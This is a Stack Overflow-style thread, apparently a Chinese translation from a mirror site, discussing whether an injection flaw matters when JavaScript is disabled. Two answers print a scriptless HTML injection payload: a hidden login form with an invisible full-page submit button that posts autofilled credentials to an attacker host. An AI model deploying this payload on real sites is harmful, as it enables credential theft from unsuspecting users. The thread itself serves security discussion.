【问题标题】:XSS exploit when JavaScript is disabled禁用 JavaScript 时的 XSS 攻击
【发布时间】:2010-06-04 11:13:59
【问题描述】:

在我工作的网站上试图将 McAffee 白名单作为一个假定的漏洞利用,我感到非常沮丧。问题是他们的自动化系统检测到了一个假定的 XSS 漏洞,但该漏洞仅在禁用 JavaScript 时才存在。鉴于您需要禁用 JavaScript 才能使漏洞利用存在,那么这肯定意味着这不是漏洞利用。谁能想到任何可能的相反论点?

更新 - 添加更多细节:

问题出在一个地方,未经处理的 URL 内容被写入锚标记 href。因此,禁用 JS 后,您可能会遇到这样的情况:

<a href="foor.php?"><script>alert('foo')</script>#someanchor" ..

当 JavaScript 被启用时,这个 href 被更新为这个(在 dom 就绪时):

<a href="javascript:;">link</a>

因此,启用 JS 后链接不再被注入,禁用 JS 时警报将不再执行。

【问题讨论】:

  • 依靠 JavaScript 修复 XSS 对我来说似乎不是最可靠的计划......?
  • 你在和自己对话吗? :P

标签: javascript xss


【解决方案1】:

您需要更改页面。

<a href="default_for_javascript_disabled" id="speciallink">link</a>

<script type="text/javascript">
    var link = document.getElementById("speciallink");
    link.href = "value_for_javascript_enabled";
</script>

【讨论】:

  • 是的,我也可以清理变量。我不是在寻找解决方案,但我真正想知道的是它是否可能存在需要禁用 JavaScript 的 XSS 漏洞
【解决方案2】:

如果您的网站有登录表单并且用户启用了密码自动填充,我可能想注入如下内容:

<form action="http://evil.hackademix.net/log" method="POST">
<div style="position: absolute; top: -5000px">
<input type="text" name="username">
<input type="password" name="password">
</div>
<input type="submit" value="pwn me" 
style="opacity: 0; position: absolute; left: 0; top: 0; width: 100%; height: 100%;"
>
</form>

只要用户点击页面上的任意位置,他的凭据就会登录到我的网站上:) 它不是严格意义上的 XSS(除非你认为 HTML+CSS “脚本”从广义上讲),但几乎同样邪恶。

【讨论】:

    【解决方案3】:

    我能想到的唯一一个在禁用 JavaScript 时会利用您的页面的例子是您过度依赖 JavaScript

    想象一下当您有某种可点击按钮时的情况,并且您想在页面加载/标签更改等使用由 JavaScript 更改的 CSS 时向用户隐藏它。

    在正常情况下,您知道普通用户无法看到此按钮,因为它是隐藏的,但如果 JavaScript 被禁用,页面的所有内容将立即呈现并显示一些“隐藏”功能。 (我写的是隐藏在撇号中的单词,因为使用 CSS 来隐藏东西是个坏主意,但这一切都取决于我们的按钮具有什么样的功能)。

    其他例子:

    <a href="/nice/clean/url/" onclick="Update.Panel.Using(Ajax); return false;">Next Page</a>
    

    正如您所见,当 JavaScript 被禁用时,用户将被重定向到链接的 url,并且不会执行更新面板操作。大多数情况下,您使用此技巧将网站爬虫从 href 标记重定向到正确的页面,并以不同的方式对待用户,因为在他们的浏览器上启用了 JavaScript,因此您可以做一些“很酷的事情”。

    我不确定这是否正确回答了您的问题,但总的来说 - 只需确保功能已复制/与 JavaScript 打开时的工作方式相同。

    【讨论】:

      【解决方案4】:

      我不明白“启用 JavaScript 时,此 href 会更新”位。

      如果您在服务器端执行此操作,那么它必须基于一些先前的检测,这不可能完全准确。攻击者可能会使用 CSRF 来欺骗检测(例如,在被重定向到易受 XSS 攻击的页面之前让受害者打开 example.com/?disabled_js=1)。

      如果你是在客户端做的,那么已经太晚了,因为注入的 HTML 将在你的脚本运行之前被解析。

      回答你的问题——当用户禁用 JS 时,XSS 是不可能的。但是,还有其他攻击,如网络钓鱼和 HTML 注入提供帮助的 CSRF。

      【讨论】:

        【解决方案5】:

        糟糕,我的 HTML 在我之前的回答中丢失了。 但是,恶意无脚本 HTML 注入可能如下所示:

        <form action="http://evil.hackademix.net/log" method="POST">
            <div style="position: absolute; top: -5000px">
            <input type="text" name="username">
            <input type="password" name="password">
            </div>
            <input type="submit" value="pwn me" 
            style="opacity: 0; position: absolute; left: 0; top: 0; width: 100%; height: 100%;"
            >
        </form>
        

        更不用说使用 or 元素可以做的好事了...

        【讨论】:

          猜你喜欢
          • 2015-06-04
          • 2023-03-04
          • 1970-01-01
          • 2022-01-08
          • 2011-02-16
          • 1970-01-01
          • 1970-01-01
          相关资源
          最近更新 更多